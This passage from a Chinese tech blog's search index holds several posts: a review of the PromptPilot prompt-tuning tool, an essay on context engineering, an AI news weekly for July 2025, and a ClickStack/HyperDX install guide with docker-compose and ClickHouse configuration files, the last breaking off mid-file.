至少有一人正在违规操作设备。 10 - \u0026#34;否\u0026#34;: 无人违规操作设备，或者图像中无人操作设备。 11 - **违规类别**: 若判定为“是”，违规类别标记为“违规操作设备”。 12 132. **`是否存在未佩戴安全帽`**: （字符串，\u0026#34;是\u0026#34;/\u0026#34;否\u0026#34;) 14 - **判定**: 图像中是否存在工人未佩戴安全帽的情况？ 15 - \u0026#34;是\u0026#34;: 至少有一人未佩戴安全帽。 16 - \u0026#34;否\u0026#34;: 所有人都佩戴了安全帽，或者图像中无人。 17 - **违规类别**: 若判定为“是”，违规类别标记为“未佩戴安全帽”。 18 19## 输出格式： 20请按照以下 JSON 格式输出你的判断结果。所有字段的值必须是字符串 “是” 或 “否”，违规类别若存在多个以逗号分隔，若不存在违规则标记为“无”。 21{ 22 \u0026#34;是否存在违规操作设备\u0026#34;: \u0026#34;是\u0026#34;, 23 \u0026#34;是否存在未佩戴安全帽\u0026#34;: \u0026#34;否\u0026#34;, 24 \u0026#34;违规类别\u0026#34;: \u0026#34;违规操作设备\u0026#34; 25} 接着我们开始调试这个视觉理解的 prompt：新建一个内容理解任务，点击加号\n复制之前改写好的完整 prompt 到调试 prompt 栏里面\n上传一个图片数据，这里采用 url 上传，并点击确定\n1https://img0.baidu.com/it/u=1094762033,1331895175\u0026amp;fm=253\u0026amp;fmt=auto\u0026amp;app=138\u0026amp;f=JPEG?w=500\u0026amp;h=561 选择 target model，即：推理模型，多模态选择带 thinking 的模型\n保存并生成模型回答\n获取理想回答：平台对同一个 case，提供了不同模型回答的结果给用户参考，用户可以自由选定好的答案，并基于选定的答案进行反馈拿到理想回答。 这里作为示例，取模型回答 2 的结果，并点击应用。\n感觉他的思考过程太重复啰嗦了。因此做如下反馈：\n1思考过程简洁一点 然后就可以保存并添加到评测集了。后面就是添加评测数据，你可以一行一行编辑，也可以直接上传个文件 ，比如\n最终的效果类似这样：\n然后就可以按照前文一步一步地进行 prompt 调优、打分、智能优化并生成优化报告了。\n你看，总之，图片它也是能够理解的，甚至还有更复杂的任务也可以（不过还处于 beta 状态），比如在一个复杂场景下检查人数：\npromptpilot 使用流程 前文写的内容有点儿多，这里我们总结一下 promptpilot 的使用流程，我们从官方文档中找个图来说明一下\n初看可能有点儿复杂，但只要你真正用几回 promptpilot 再看这个图就会感觉无比的清晰了。\n我们通过视频再快速回顾一下 promptpilot 的核心功能\n已关注\nFollow\nReplay Share Like\nClose\n观看更多\n更多\n退出全屏\n切换到竖屏全屏**退出全屏\n小盒子的技术分享已关注\nShare Video\n，时长01:35\n0/0\n00:00/01:35\n切换到横屏模式\n继续播放\n进度条，百分之0\nPlay\n00:00\n/\n01:35\n01:35\n倍速\n全屏\n倍速播放中\n0.5倍 0.75倍 1.0倍 1.5倍 2.0倍\n超清 流畅\nYour browser does not support video tags\n继续观看\n不止于工具：PromptPilot如何将AI开发从“手工作坊”推向“工业时代”？\n观看更多\n转载\n,\n不止于工具：PromptPilot如何将AI开发从“手工作坊”推向“工业时代”？\n小盒子的技术分享已关注\nShare点赞Wow\nAdded to Top StoriesEnter comment\nVideo Details\n提示词工程产品对比 横向对比 其实还有其他的主流的提示词工程解决方案，比如：\nAzure Prompt Flow（微软） Vertex AI Studio（谷歌） Amazon Bedrock Prompt Playground（亚马逊） 篇幅限制，我就不一一介绍了，这里简单介绍一下 Vertex AI Studio，通过对比，你会对 PromptPilot 的水平有更深刻地了解。\nGoogle 家的 Vertex AI studio 提供了一个直观界面，让你能够以低代码或甚至无代码的环境来构建 GenAI 应用，你能通过 Prompt, 连接后台，最后反馈结果。\n关于提示词工程部分，它的核心功能有：零次提示（Zero-shot prompting）、单次提示（One-shot prompting）和少量提示（Few-shot prompting）。\n零次提示：是指在不提供任何例子的情况下，直接向模型发出请求，使其适应特定的行为。 单次提示：是指向模型提供单个任务示例，以此来引导模型的输出。 少量提示：则是提供少量的任务示例。 然后就没有然后了，对，就这些，界面很 google 很简单。\n我看了一下 Azure Prompt Flow 和 Amazon Bedrock Prompt Playground 感觉产品逻辑和 Vertex AI studio 差不多。\n你可能已经发现，与 PromptPilot 相比，谷歌、微软、亚马逊这三大云服务商在提示词工程上的产品功能显得相对单薄。这主要是因为它们的产品方向和侧重点有所不同： 三大云把 Prompt 工程塞进整条 LLM DevOps 流水线，它们把 Prompt 当作 LLM 应用流水线里的一环，仅提供“写＋测”或“写＋存＋跑”，深度要靠开发者自己拼接脚本或流水线。 而 PromptPilot 把“提示词”当作核心产品做了纵深。把 “提示词” 的 写 → 调 → 测 → 版本管理 等全部动作做了深耕。\n因此，当你的主要痛点就是“写好提示词”而非“布好全链路”，PromptPilot 会显得顺手；而当项目需要管部署、监控、成本、接第三方工具时，Prompt Flow 等全栈 IDE 的价值就会凸显出来。\n而类似三大云厂商做的那种 LLM 流水线产品可以在火山引擎上找到，在 AI 时代，阿里云、腾讯云、火山引擎是我比较喜欢的国内云厂商三巨头。之前也用过华为云，它的市场占有率也很高，但可能客户群体和技术方向的问题，在 AI 时代，它的声音并不多。\n纵向对比 从深耕提示词工程的角度来说，PromptPilot 身上也有不少优秀产品的影子，比如：promptlayer、Prompt Optimizer 。\n有这么多优秀的产品，足以见得提示词工程的需求在一段时间内还是存在的，需要被满足。但对比多家产品，我觉得 PromptPilot 目前做的是最好的，没有之一。\n最后 PromptPilot 的最大价值在于通过 自动“写+测+改” 把写 Prompt 这件“小事” 完全工程化产品化，让使用者几乎零门槛的使用，无论对于开发者还是小白都非常友好，我猜测将来甚至可以直接集成到企业级 AI 开发流水线中。\n另外不得不提一下的是，豆包大模型是商业模型，那么火山引擎作为一个云平台一定会引导用户用自家的大模型，所以构建“护城河” 这个事儿是一个常规操作，很正常。目前除了自家的豆包大模型，promptpilot 也支持 DeepSeek 等其他模型。\n我相信未来在模型使用上，火山的策略不会那么激进，而会采用融合、共赢，权重优先的方式，长期允许多模型共存，但一定会在自家模型的推广和销售上大做文章。\n最后，我想说，在 AI 领域，未来一定会有越来越多的新产品出现，而所有这些产品都像是一个时代的注脚，你需要明白的是，时代不同了，AI应用开发正在从“炼丹师”式的个人英雄主义，走向体系化的工业生产阶段。在这个过程要解决的问题和相应的机会会很多，但只有真正务实地的解决问题的团队才能够赢得未来，因为他们行动深刻表达了四个字：“价值创造”。\n","date":"2025-08-03T10:09:58Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-08-03-bu-zhi-yu-gong-ju-promptpilot-ru-he-jiang-ai-kai-fa-cong-sho/cover.jpg","permalink":"/p/2025-08-03-bu-zhi-yu-gong-ju-promptpilot-ru-he-jiang-ai-kai-fa-cong-sho/","title":"不止于工具：PromptPilot如何将AI开发从“手工作坊”推向“工业时代”？"},{"content":"AI 的发展真是 “日新月异” ，新概念也是满天飞。去年还在折腾 “提示工程”（Prompt Engineering），今年就整出了 “上下文工程”（Context Engineering）\n最近看到 大佬们像 Andrej Karpathy、Harrison Chase 都在热议这个词。\nManus 这篇文章《AI 智能体的上下文工程：构建 Manus 的经验教训》 更是对于做 Agent 的同行很有借鉴意义。\nContext Engineering，到底是个啥？ 想象一下你正在和一个姑娘约会，你只了解了姑娘的基本信息，于是你绞尽脑汁地想话题，想和姑娘接下来聊点儿什么，但你的知识储备、记忆力也一般，于是你买了个 AI 眼镜，但这玩意就像某度一样，问什么答什么，其他没问的一概不知，而且有时候还 “胡说八道”，于是你给姑娘带来了像机器人一样的约会体验，然后就没有然后了。\u0026hellip;..\n不得不说你是一个有“上进心”的人，觉得不能再给双方如此糟糕的体验了，为了自己的终身大事于是你决定要升级装备，你发现 AI 眼镜有 Plus 版本，你决定再给它一次机会。 下单-约会-实战开始！\n这一次，你按照 “指南” 提前给设备塞了点儿 “备忘录”——比如你们最近的聊天记录、姑娘的相关资料、甚至工具怎么用。于是你根据姑娘和你的共同喜好，组织了好多双方感兴趣的话题，成功引起了姑娘的兴趣，再深入了解下去发现你们有更多共同的兴趣和朋友，甚至精神层面也有共鸣，你们探讨了最近看的书，三观，以及处世哲学，然后时间不早了，你根据姑娘和你的综合情况在 AI 的帮助下快速选定了一家餐厅，邀请姑娘共进午餐，姑娘欣然接受。\n可以说这次约会是成功的，AI 眼镜秒变 神助攻！\n这就是 Context Engineering 的本质：不是简单扔个问题给 AI，而是精心准备一堆“上下文”，让 AI 知道该怎么思考、怎么行动。简单说，它管着 AI“看到”的所有东西：系统提示、聊天历史、从数据库扒出来的数据、工具说明，甚至长期记忆。\nContext Engineering 看起来 比 “提示工程” 靠谱多了\n“提示工程听起来就像日常聊天里随便问问，但工业级 AI 应用里，Context Engineering 才是艺术加科学——怎么塞对信息进上下文窗口，让 AI 一步步干活。”\n而且现在时机成熟了，因为 AI 模型的“记忆窗口”从几千字扩到百万字了（像 GPT-4o 或 gemini-2.5），光靠一个完美提示不够用，得动态管理上下文，避免 AI“迷路”或胡说八道\n老梗翻新？ 老实说，初看起来 Context Engineering 多少有点儿新瓶装旧酒的意思，但细看起来确实有新意。\nAI 从简单聊天工具进化到“代理”（agent），这些代理得处理复杂任务，比如帮你分析法律文件、写代码或管客户支持。单纯的提示工程像扔个球给 AI，Context Engineering 则是建个球场、定规则、备道具。\n实际上 agent 开发者早就在干这活儿了，提炼出个概念来能吸引更多人注意，推动工具开发。哈哈，炒作的效果。\n所以也有人吐槽：\n“Context Engineering 不就等于语义搜索吗？很多人忘了老排名机制的重要性，非得追新潮。” “dumping 数据进 AI 就算工程了？” 我发现 coder 这个群体嘴有时候是真臭啊，哈哈。\n不过说的也没毛病，Context Engineering 就是整合了检索增强生成（RAG）、内存管理这些老技术，早期的 RAG 系统就已经在玩儿上下文检索了。所以，它不是从天而降的革命，而是对现有实践的升级包装。\n我们做个表格来对比一下 Prompt Engineering 和 Context Engineering\n总结 总之呢，AI 越来越复杂，得从“艺术”转向“工程”。但如果你只是随便玩玩 AI，不用纠结——它更适合开发者或企业。\n参考 manus 的文章： https://manus.im/blog/Context-Engineering-for-AI-Agents-Lessons-from-Building-Manus ","date":"2025-07-22T03:32:03Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-07-22-ai-quan-de-xin-chong-context-engineering/cover.jpg","permalink":"/p/2025-07-22-ai-quan-de-xin-chong-context-engineering/","title":"AI圈的新宠：Context Engineering"},{"content":"本周 AI 领域风起云涌，从巨额融资到前沿模型发布，再到创新工具的涌现，都预示着人工智能正加速融入各行各业。以下是本周值得关注的重点动态：\n1. 重大融资与创业公司动态 Thinking Machines Lab 获 20 亿美元融资：由 OpenAI 前首席技术官 Mira Murati 创立的开源多模态 AI 平台初创公司 Thinking Machines Lab 完成了 20 亿美元的巨额融资，公司估值已达 120 亿美元。 这笔资金将用于构建企业级的 AI 基础设施，目前公司已接近产品发布阶段。 Fifty1 Labs 通过并购加速药物研发：AI 驱动的生物医学创新公司 Fifty1 Labs 完成了一项战略并购，旨在加速其在药物再利用领域的发现项目。 GenLayer 融资 750 万美元，结合 AI 与区块链：区块链与 AI 相结合的初创公司 GenLayer 成功融资 750 万美元。 该公司与 io.net 合作，提供去中心化 GPU 支持，并已推出 Asimov 测试网和 YeagerAI Oracle，专注于 AI 共识和实时数据安全，预计年底实现完全去中心化。 其他融资亮点：据报道，Meta 计划投资“数千亿美元”建设 AI 数据中心，彰显了科技巨头在算力基础设施上的持续加码。 2. LLM 与软件创新 xAI 发布 Grok 4，集成特斯拉：埃隆·马斯克的 xAI 公司推出了 Grok 4 模型，该模型具备更强的推理和多模态能力，现已集成到特斯拉汽车中。 同时，xAI 还引入了 AI 伴侣功能以提升交互体验。 Anthropic Claude 动态：Claude Sonnet 4 API 调用频率限制增加：Anthropic 于 2025 年 7 月 17 日正式宣布并实施了 Tier 1-4 的输入/输出令牌每分钟（ITPM/OTPM）限制提升，以增加开发者容量。具体变化包括：Tier 1 从 20K ITPM 增至 30K、8K OTPM；Tier 2 从 40K 增至 450K ITPM、16K 增至 90K OTPM 等。 Moonshot AI 的 Kimi K2 实现代币化：中国的月之暗面 (Moonshot AI) 开源了其拥有 1T 参数的 MoE 架构中文大模型 Kimi K2。 该模型在推理和编码方面进行了优化，并在特定基准测试中超越了 GPT-4.1。 一个重要的创新是，Kimi K2 已在 Alpaca Network 上实现代币化，允许用户通过区块链拥有模型的部分所有权、进行链上访问，并分享 API 收入。 MIT 推出 CodeSteer 系统：麻省理工学院研发了一种名为“智能教练”的系统 CodeSteer，能有效帮助大型语言模型在文本和代码任务间进行切换，提高了解决复杂问题的准确性。 Mistral AI 发布开源语音模型 Voxtral：Mistral AI 推出了开源语音模型 Voxtral，旨在方便开发者构建自然的对话式语音工具。 3. 创新产品与新工具 OpenAI 推出 ChatGPT Agent：OpenAI 发布了新的代理工具 ChatGPT Agent，能够自主执行网页浏览、表单填写等多步复杂任务。\nNvidia 推动 AI 机器人硬件设计：Nvidia 展示了如何利用 LLM 从零开始设计功能齐全的机器人硬件，并优化了组件和组装指令。 此外，有消息称 Nvidia 已恢复向中国市场销售 H20 AI 芯片。\n其他工具发布：\nPerplexity 推出了基于 Chromium 的 AI 原生浏览器 Comet。\nAWS 发布了企业级 AI 代理平台 Bedrock AgentCore 和 AI 驱动的 IDE Kiro。\nMicrosoft 更新了 Copilot Vision，使其能够扫描整个桌面以提供上下文感知辅助。\nRunway 推出了 AI 动作捕捉工具 Act-Two，用于视频生成。\n4. Windsurf 新闻要点 在与 OpenAI 的 30 亿美元收购案告吹后，AI 编码工具公司 Windsurf 的核心团队和技术许可被谷歌以约 24 亿美元的价格迅速抢走，剩余的知识产权和团队则被 AI 新星 Cognition AI 以 2.5 亿美元收购。\nOpenAI 收购协议正式崩盘（7 月 11 日）：原定的 30 亿美元全现金收购 Windsurf（一家 AI 编码工具初创公司，前身为 Codeium，年收入已达 1 亿美元）因 OpenAI 与微软的合同谈判紧张而失败。具体原因是 OpenAI 不愿让微软（其最大投资者）获得 Windsurf 的核心 AI 编码技术。这标志着 OpenAI 迄今最大收购案的流产，Windsurf 随后被允许探索其他机会。\nGoogle 迅速介入，招聘关键人才并获许可（7 月 11 日）：在 OpenAI 交易失败后，Google 以约 24 亿美元的价格招聘了 Windsurf 的 CEO Varun Mohan、联合创始人 Douglas Chen 以及部分研发团队，加入 Google DeepMind。该协议还包括非独占性技术许可，但 Google 未获得 Windsurf 的控制权或股权。 这被视为 Google 在 AI 编码领域的战略抢人，旨在加强其与 OpenAI 的竞争。\nCognition AI 收购 Windsurf 剩余资产（7 月 14 日）：在 Google 挖角后，AI 初创公司 Cognition（Devin AI 开发者）以约 2.5 亿美元的价格收购了 Windsurf 的知识产权（IP）、用户基和剩余团队（约 250 人）。交易在周末紧急完成，包括为所有 Windsurf 员工加速股权归属和支付奖金。 Windsurf 的新 CEO Jeff Wang 描述了从 OpenAI 交易失败到 Cognition 收购的“疯狂一周”，强调了团队的韧性和产品互补性（Windsurf 的 GTM/营销 + Cognition 的 AI 工程）。公司将继续独立运营，但与 Cognition 整合成端到端 AI 平台。\n","date":"2025-07-19T02:00:52Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-07-19-ai-ye-jie-zhou-bao-2025-nian-7-yue-13-ri-19-ri/cover.jpg","permalink":"/p/2025-07-19-ai-ye-jie-zhou-bao-2025-nian-7-yue-13-ri-19-ri/","title":"AI 业界周报 (2025年7月13日-19日)"},{"content":"概述 我们使用 docker compose 来安装 ClickHouse\n但我们不是裸装 ClickHouse，实际上我们安装的是 ClickStack。有点儿像 elastic-stack 与 elastic search 的关系 ，但并不完全一样。\nClickStack 是基于 ClickHouse 构建的完整观察性平台，集成了日志、指标、追踪和会话回放功能，提供统一的用户界面和查询能力。因此，ClickStack 是在 ClickHouse 的基础上，结合 HyperDX 提供的前端界面和 OpenTelemetry Collector 实现的完整解决方案。它不仅仅是一个数据库，而是一个集成的观察性平台。\n安装步骤参考官方文档：https://clickhouse.com/docs/zh/use-cases/observability/clickstack/getting-started?loc=use-case-observability\n安装 克隆 HyperDX 仓库 1git clone https://github.com/hyperdxio/hyperdx.git 2 3cd hyperdx 4 5# switch to the v2 branch 6git checkout v2 根据自身情况修改配置文件 .env\n我将 HDX_IMAGE_REPO=docker.hyperdx.io 修改为 HDX_IMAGE_REPO=docker.io 不然镜像拉不下来\n1# Used by docker-compose.yml 2HDX_IMAGE_REPO=docker.hyperdx.io 3IMAGE_NAME=ghcr.io/hyperdxio/hyperdx 4IMAGE_NAME_DOCKERHUB=hyperdx/hyperdx 5LOCAL_IMAGE_NAME=ghcr.io/hyperdxio/hyperdx-local 6LOCAL_IMAGE_NAME_DOCKERHUB=hyperdx/hyperdx-local 7ALL_IN_ONE_IMAGE_NAME=ghcr.io/hyperdxio/hyperdx-all-in-one 8ALL_IN_ONE_IMAGE_NAME_DOCKERHUB=hyperdx/hyperdx-all-in-one 9OTEL_COLLECTOR_IMAGE_NAME=ghcr.io/hyperdxio/hyperdx-otel-collector 10OTEL_COLLECTOR_IMAGE_NAME_DOCKERHUB=hyperdx/hyperdx-otel-collector 11CODE_VERSION=2.0.5 12IMAGE_VERSION_SUB_TAG=.0.5 13IMAGE_VERSION=2 14IMAGE_NIGHTLY_TAG=2-nightly 15IMAGE_LATEST_TAG=latest 16 17# Set up domain URLs 18HYPERDX_API_PORT=8000 #optional (should not be taken by other services) 19HYPERDX_APP_PORT=8080 20HYPERDX_APP_URL=http://localhost 21HYPERDX_LOG_LEVEL=debug 22HYPERDX_OPAMP_PORT=4320 23 24# Otel/Clickhouse config 25HYPERDX_OTEL_EXPORTER_CLICKHOUSE_DATABASE=default docker compose 启动 1docker-compose up -d Docker-compose 文件如下：\n1name: hdx-oss 2services: 3 # ONLY USED FOR DEMO SSL SETUP 4 # nginx: 5 # image: nginx:1.27.3 6 # volumes: 7 # - ./docker/nginx/nginx.conf:/etc/nginx/nginx.conf 8 # - ./docker/nginx/ssl:/etc/nginx/ssl 9 # - .volumes/nginx_logs:/var/log/nginx 10 # ports: 11 # - 80:80 12 # - 443:443 13 # networks: 14 # - internal 15 # depends_on: 16 # - app 17 db: 18 image: mongo:5.0.14-focal 19 volumes: 20 - .volumes/db:/data/db 21 # WARNING: Exposing the database port will make it accessible from outside the container, 22 # potentially allowing unauthorized access. If you uncomment the ports below, 23 # ensure to secure your database (e.g., with strong authentication, proper network rules, and firewalls). 24 # ports: 25 # - 27017:27017 26 networks: 27 - internal 28 otel-collector: 29 image: ${HDX_IMAGE_REPO}/${OTEL_COLLECTOR_IMAGE_NAME_DOCKERHUB}:${IMAGE_VERSION} 30 environment: 31 CLICKHOUSE_ENDPOINT: \u0026#39;tcp://ch-server:9000?dial_timeout=10s\u0026#39; 32 HYPERDX_OTEL_EXPORTER_CLICKHOUSE_DATABASE: ${HYPERDX_OTEL_EXPORTER_CLICKHOUSE_DATABASE} 33 HYPERDX_LOG_LEVEL: ${HYPERDX_LOG_LEVEL} 34 OPAMP_SERVER_URL: \u0026#39;http://app:${HYPERDX_OPAMP_PORT}\u0026#39; 35 ports: 36 - \u0026#39;13133:13133\u0026#39; # health_check extension 37 - \u0026#39;24225:24225\u0026#39; # fluentd receiver 38 - \u0026#39;4317:4317\u0026#39; # OTLP gRPC receiver 39 - \u0026#39;4318:4318\u0026#39; # OTLP http receiver 40 - \u0026#39;8888:8888\u0026#39; # metrics extension 41 restart: always 42 networks: 43 - internal 44 depends_on: 45 - ch-server 46 app: 47 image: ${HDX_IMAGE_REPO}/${IMAGE_NAME_DOCKERHUB}:${IMAGE_VERSION} 48 ports: 49 - ${HYPERDX_API_PORT}:${HYPERDX_API_PORT} 50 - ${HYPERDX_APP_PORT}:${HYPERDX_APP_PORT} 51 environment: 52 FRONTEND_URL: ${HYPERDX_APP_URL}:${HYPERDX_APP_PORT} 53 HYPERDX_API_KEY: ${HYPERDX_API_KEY} 54 HYPERDX_API_PORT: ${HYPERDX_API_PORT} 55 HYPERDX_APP_PORT: ${HYPERDX_APP_PORT} 56 HYPERDX_APP_URL: ${HYPERDX_APP_URL} 57 HYPERDX_LOG_LEVEL: ${HYPERDX_LOG_LEVEL} 58 MINER_API_URL: \u0026#39;http://miner:5123\u0026#39; 59 MONGO_URI: \u0026#39;mongodb://db:27017/hyperdx\u0026#39; 60 NEXT_PUBLIC_SERVER_URL: http://127.0.0.1:${HYPERDX_API_PORT} 61 OPAMP_PORT: ${HYPERDX_OPAMP_PORT} 62 OTEL_SERVICE_NAME: \u0026#39;hdx-oss-api\u0026#39; 63 USAGE_STATS_ENABLED: ${USAGE_STATS_ENABLED:-true} 64 DEFAULT_CONNECTIONS: 65 \u0026#39;[{\u0026#34;name\u0026#34;:\u0026#34;Local 66 ClickHouse\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;http://ch-server:8123\u0026#34;,\u0026#34;username\u0026#34;:\u0026#34;default\u0026#34;,\u0026#34;password\u0026#34;:\u0026#34;\u0026#34;}]\u0026#39; 67 DEFAULT_SOURCES: 68 \u0026#39;[{\u0026#34;from\u0026#34;:{\u0026#34;databaseName\u0026#34;:\u0026#34;default\u0026#34;,\u0026#34;tableName\u0026#34;:\u0026#34;otel_logs\u0026#34;},\u0026#34;kind\u0026#34;:\u0026#34;log\u0026#34;,\u0026#34;timestampValueExpression\u0026#34;:\u0026#34;TimestampTime\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;Logs\u0026#34;,\u0026#34;displayedTimestampValueExpression\u0026#34;:\u0026#34;Timestamp\u0026#34;,\u0026#34;implicitColumnExpression\u0026#34;:\u0026#34;Body\u0026#34;,\u0026#34;serviceNameExpression\u0026#34;:\u0026#34;ServiceName\u0026#34;,\u0026#34;bodyExpression\u0026#34;:\u0026#34;Body\u0026#34;,\u0026#34;eventAttributesExpression\u0026#34;:\u0026#34;LogAttributes\u0026#34;,\u0026#34;resourceAttributesExpression\u0026#34;:\u0026#34;ResourceAttributes\u0026#34;,\u0026#34;defaultTableSelectExpression\u0026#34;:\u0026#34;Timestamp,ServiceName,SeverityText,Body\u0026#34;,\u0026#34;severityTextExpression\u0026#34;:\u0026#34;SeverityText\u0026#34;,\u0026#34;traceIdExpression\u0026#34;:\u0026#34;TraceId\u0026#34;,\u0026#34;spanIdExpression\u0026#34;:\u0026#34;SpanId\u0026#34;,\u0026#34;connection\u0026#34;:\u0026#34;Local 69 ClickHouse\u0026#34;,\u0026#34;traceSourceId\u0026#34;:\u0026#34;Traces\u0026#34;,\u0026#34;sessionSourceId\u0026#34;:\u0026#34;Sessions\u0026#34;,\u0026#34;metricSourceId\u0026#34;:\u0026#34;Metrics\u0026#34;},{\u0026#34;from\u0026#34;:{\u0026#34;databaseName\u0026#34;:\u0026#34;default\u0026#34;,\u0026#34;tableName\u0026#34;:\u0026#34;otel_traces\u0026#34;},\u0026#34;kind\u0026#34;:\u0026#34;trace\u0026#34;,\u0026#34;timestampValueExpression\u0026#34;:\u0026#34;Timestamp\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;Traces\u0026#34;,\u0026#34;displayedTimestampValueExpression\u0026#34;:\u0026#34;Timestamp\u0026#34;,\u0026#34;implicitColumnExpression\u0026#34;:\u0026#34;SpanName\u0026#34;,\u0026#34;serviceNameExpression\u0026#34;:\u0026#34;ServiceName\u0026#34;,\u0026#34;bodyExpression\u0026#34;:\u0026#34;SpanName\u0026#34;,\u0026#34;eventAttributesExpression\u0026#34;:\u0026#34;SpanAttributes\u0026#34;,\u0026#34;resourceAttributesExpression\u0026#34;:\u0026#34;ResourceAttributes\u0026#34;,\u0026#34;defaultTableSelectExpression\u0026#34;:\u0026#34;Timestamp,ServiceName,StatusCode,round(Duration/1e6),SpanName\u0026#34;,\u0026#34;traceIdExpression\u0026#34;:\u0026#34;TraceId\u0026#34;,\u0026#34;spanIdExpression\u0026#34;:\u0026#34;SpanId\u0026#34;,\u0026#34;durationExpression\u0026#34;:\u0026#34;Duration\u0026#34;,\u0026#34;durationPrecision\u0026#34;:9,\u0026#34;parentSpanIdExpression\u0026#34;:\u0026#34;ParentSpanId\u0026#34;,\u0026#34;spanNameExpression\u0026#34;:\u0026#34;SpanName\u0026#34;,\u0026#34;spanKindExpression\u0026#34;:\u0026#34;SpanKind\u0026#34;,\u0026#34;statusCodeExpression\u0026#34;:\u0026#34;StatusCode\u0026#34;,\u0026#34;statusMessageExpression\u0026#34;:\u0026#34;StatusMessage\u0026#34;,\u0026#34;connection\u0026#34;:\u0026#34;Local 70 ClickHouse\u0026#34;,\u0026#34;logSourceId\u0026#34;:\u0026#34;Logs\u0026#34;,\u0026#34;sessionSourceId\u0026#34;:\u0026#34;Sessions\u0026#34;,\u0026#34;metricSourceId\u0026#34;:\u0026#34;Metrics\u0026#34;},{\u0026#34;from\u0026#34;:{\u0026#34;databaseName\u0026#34;:\u0026#34;default\u0026#34;,\u0026#34;tableName\u0026#34;:\u0026#34;\u0026#34;},\u0026#34;kind\u0026#34;:\u0026#34;metric\u0026#34;,\u0026#34;timestampValueExpression\u0026#34;:\u0026#34;TimeUnix\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;Metrics\u0026#34;,\u0026#34;resourceAttributesExpression\u0026#34;:\u0026#34;ResourceAttributes\u0026#34;,\u0026#34;metricTables\u0026#34;:{\u0026#34;gauge\u0026#34;:\u0026#34;otel_metrics_gauge\u0026#34;,\u0026#34;histogram\u0026#34;:\u0026#34;otel_metrics_histogram\u0026#34;,\u0026#34;sum\u0026#34;:\u0026#34;otel_metrics_sum\u0026#34;,\u0026#34;_id\u0026#34;:\u0026#34;682586a8b1f81924e628e808\u0026#34;,\u0026#34;id\u0026#34;:\u0026#34;682586a8b1f81924e628e808\u0026#34;},\u0026#34;connection\u0026#34;:\u0026#34;Local 71 ClickHouse\u0026#34;,\u0026#34;logSourceId\u0026#34;:\u0026#34;Logs\u0026#34;,\u0026#34;traceSourceId\u0026#34;:\u0026#34;Traces\u0026#34;,\u0026#34;sessionSourceId\u0026#34;:\u0026#34;Sessions\u0026#34;},{\u0026#34;from\u0026#34;:{\u0026#34;databaseName\u0026#34;:\u0026#34;default\u0026#34;,\u0026#34;tableName\u0026#34;:\u0026#34;hyperdx_sessions\u0026#34;},\u0026#34;kind\u0026#34;:\u0026#34;session\u0026#34;,\u0026#34;timestampValueExpression\u0026#34;:\u0026#34;TimestampTime\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;Sessions\u0026#34;,\u0026#34;displayedTimestampValueExpression\u0026#34;:\u0026#34;Timestamp\u0026#34;,\u0026#34;implicitColumnExpression\u0026#34;:\u0026#34;Body\u0026#34;,\u0026#34;serviceNameExpression\u0026#34;:\u0026#34;ServiceName\u0026#34;,\u0026#34;bodyExpression\u0026#34;:\u0026#34;Body\u0026#34;,\u0026#34;eventAttributesExpression\u0026#34;:\u0026#34;LogAttributes\u0026#34;,\u0026#34;resourceAttributesExpression\u0026#34;:\u0026#34;ResourceAttributes\u0026#34;,\u0026#34;defaultTableSelectExpression\u0026#34;:\u0026#34;Timestamp,ServiceName,SeverityText,Body\u0026#34;,\u0026#34;severityTextExpression\u0026#34;:\u0026#34;SeverityText\u0026#34;,\u0026#34;traceIdExpression\u0026#34;:\u0026#34;TraceId\u0026#34;,\u0026#34;spanIdExpression\u0026#34;:\u0026#34;SpanId\u0026#34;,\u0026#34;connection\u0026#34;:\u0026#34;Local 72 ClickHouse\u0026#34;,\u0026#34;logSourceId\u0026#34;:\u0026#34;Logs\u0026#34;,\u0026#34;traceSourceId\u0026#34;:\u0026#34;Traces\u0026#34;,\u0026#34;metricSourceId\u0026#34;:\u0026#34;Metrics\u0026#34;}]\u0026#39; 73 networks: 74 - internal 75 depends_on: 76 - ch-server 77 - db 78 ch-server: 79 image: clickhouse/clickhouse-server:24-alpine 80 # WARNING: Exposing the database port will make it accessible from outside the container, 81 # potentially allowing unauthorized access. If you uncomment the ports below, 82 # ensure to secure your database (e.g., with strong authentication, proper network rules, and firewalls). 83 ports: 84 - 8123:8123 # http api 85 - 9050:9000 # native 86 # environment: 87 # default settings 88 # CLICKHOUSE_DEFAULT_ACCESS_MANAGEMENT: 1 89 volumes: 90 - ./docker/clickhouse/local/config.xml:/etc/clickhouse-server/config.xml 91 - ./docker/clickhouse/local/users.xml:/etc/clickhouse-server/users.xml 92 - ./empty.xml:/etc/clickhouse-server/users.d/default-password.xml 93 - .volumes/ch_data:/var/lib/clickhouse 94 - .volumes/ch_logs:/var/log/clickhouse-server 95 restart: on-failure 96 networks: 97 - internal 98networks: 99 internal: 注意：environment 部分我注释掉了，另外 加了一行：./empty.xml:/etc/clickhouse-server/users.d/default-password.xml 作用是解决 clickhouse 连接异常的问题。\n通过 /data/clickhouse/hyperdx/docker/clickhouse/local/users.xml 可以看到 clickhouse 的账户信息：\n1\u0026lt;?xml version=\u0026#34;1.0\u0026#34;?\u0026gt; 2\u0026lt;clickhouse\u0026gt; 3 \u0026lt;profiles\u0026gt; 4 \u0026lt;default\u0026gt; 5 \u0026lt;max_memory_usage\u0026gt;10000000000\u0026lt;/max_memory_usage\u0026gt; 6 \u0026lt;use_uncompressed_cache\u0026gt;0\u0026lt;/use_uncompressed_cache\u0026gt; 7 \u0026lt;load_balancing\u0026gt;in_order\u0026lt;/load_balancing\u0026gt; 8 \u0026lt;log_queries\u0026gt;1\u0026lt;/log_queries\u0026gt; 9 \u0026lt;/default\u0026gt; 10 \u0026lt;/profiles\u0026gt; 11 12 \u0026lt;users\u0026gt; 13 \u0026lt;default\u0026gt; 14 \u0026lt;password_sha256_hex\u0026gt;2d964690ad5ac2d2f78bebadc30895bc519969ffcef4d3c9e7ff04ee1c765d96\u0026lt;/password_sha256_hex\u0026gt; 15 \u0026lt;profile\u0026gt;default\u0026lt;/profile\u0026gt; 16 \u0026lt;networks\u0026gt; 17 